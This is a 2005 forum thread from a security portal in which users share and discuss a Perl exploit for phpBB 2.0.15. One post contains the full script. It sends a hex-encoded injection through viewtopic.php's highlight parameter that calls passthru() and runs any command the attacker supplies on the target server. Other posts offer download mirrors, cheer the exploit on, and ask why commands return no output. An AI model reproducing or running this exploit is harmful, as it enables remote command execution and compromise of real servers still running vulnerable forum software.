Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 25, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: mr_moore
New Today: 1
New Yesterday: 3
Overall: 8202

People Online:
Visitors: 264
Members: 1
Total: 265

Online Now:
01: mr_moore - Forums
milw0rm
·[webapps / 0day] - appRain CMF Arbitrary PHP File Upload Vulnerability
·[local exploits] - OpenOffice OLE Importer DocumentSummaryInformatio n Stream Handling
·[local exploits] - Mod_Auth_OpenID Session Stealing Vulnerability
·[dos / poc] - Symantec End Point Protection 11.x & Symantec Network Access Control 11.x LCE
·[dos / poc] - Tftpd32 DHCP Serve 4.00 Denial Of Service
·[webapps / 0day] - Ajaxmint Gallery 1.0 Local File Inclusion
·[webapps / 0day] - RuubikCMS 1.1.0 Beta XSS / Disclosure / Directory Traversal
·[webapps / 0day] - Insight Creative Sql injection/Reflected XSS Vulnerabilties
·[webapps / 0day] - AFFY (index.php) Blind Sql Injection Vulnerability
·[webapps / 0day] - ezContents (1.x.x , 2.0.3) Blind injection/Reflected XSS Vulnerabilties

read more...
PacketStorm News
·Mandriva Linux Security Advisory 2012-080
·Red Hat Security Advisory 2012-0688-01
·Debian Security Advisory 2479-1
·Debian Security Advisory 2478-1
·Ubuntu Security Notice USN-1450-1
·Drupal BrowserID 7.x Cross Site Request Forgery
·Drupal Taxonomy List 6.x Cross Site Scripting
·Drupal Search API 7.x Cross Site Scripting
·Secunia Security Advisory 49200
·Secunia Security Advisory 49235

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Working phpBB 2.0.15 perl exploit
Post new topic  Reply to topic View previous topic :: View next topic 
Working phpBB 2.0.15 perl exploit
PostPosted: Thu Jun 30, 2005 5:27 pm Reply with quote
pLuToNiUm
Beginner
Beginner
 
Joined: Jun 30, 2005
Posts: 1




can be found here :

http://planet.nana.co.il/sustar/2015.txt

Very Happy

well , working , though....

Enjoy .
View user's profile Send private message ICQ Number
PostPosted: Thu Jun 30, 2005 5:40 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Good work Wink

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Jul 06, 2005 1:48 pm Reply with quote
petitmaitreblanc
Regular user
Regular user
 
Joined: Jul 05, 2005
Posts: 18




the link seemed to be down , can you put the code here plz ?
View user's profile Send private message
PostPosted: Wed Jul 06, 2005 9:02 pm Reply with quote
iammojo
Regular user
Regular user
 
Joined: Mar 20, 2005
Posts: 18




Code:
#!/usr/bin/perl

##     phpBB 2.0.15 remote command execution exploit
##     by pLuToNiUm , wmsecurity@nm.ru  29/6/05
##   =-=   =-=   =-=   =-=
##     the bug was discovered on 23/06/05 by Ron van Daal
##     greeting to RusH for the previous eXploit.


use IO::Socket;

if (@ARGV < 4)
 {
 print q([+++++++++++++++++++++++++++++++++++++++++++++++++++++++]

   how to use:

 2015.pl www.phpbb.com /forum/ 1337 "ls -al"
 parameters:
  [URL] - server URL e.g. www.phpbb.com
  [DIR] - directory where phpBB installed e.g. /phpBB/ or /
  [NUM] - number of existing topic
  [CMD] - command for execute e.g. ls
[]+++++++++++++++++++++++++++++++++++++++++++++++++++++[]
 );   
 exit;
 }

$serv  = $ARGV[0];
$dir   = $ARGV[1];
$topic = $ARGV[2];
$cmd   = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "=== COMMAND: =[ $cmd ]= ===\r\n";
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&hack=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%27%2e%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%68%61%63%6b%5d%29%2e%27';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECTION FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n"; exit(); }
if ($on == 1) { print "  $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT DIDN'T WORK\r\n";
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n";


View user's profile Send private message
PostPosted: Thu Jul 07, 2005 1:56 pm Reply with quote
subzero
Valuable expert
Valuable expert
 
Joined: Mar 16, 2005
Posts: 42




setting mirror

http://kisobox.com/exploits/phpbb2.0.15.txt

just rename it back to .pl
have fun


Last edited by subzero on Thu Jul 07, 2005 2:30 pm; edited 1 time in total
View user's profile Send private message Visit poster's website
PostPosted: Thu Jul 07, 2005 2:25 pm Reply with quote
petitmaitreblanc
Regular user
Regular user
 
Joined: Jul 05, 2005
Posts: 18




sorry , but for this exploit works , they re some conditions ?

coz for me , it works , but , when I put an "ls" command , I have no answer , nothing , when I try with some other command , one time i am disconnected , one time same problem => no error message , but no result too .

So , I think (It's just what think a fucking n00b as me ;p) the apache server and php must have some option , as the system command's support , no ?
View user's profile Send private message
Working phpBB 2.0.15 perl exploit
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Movie Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.088 Seconds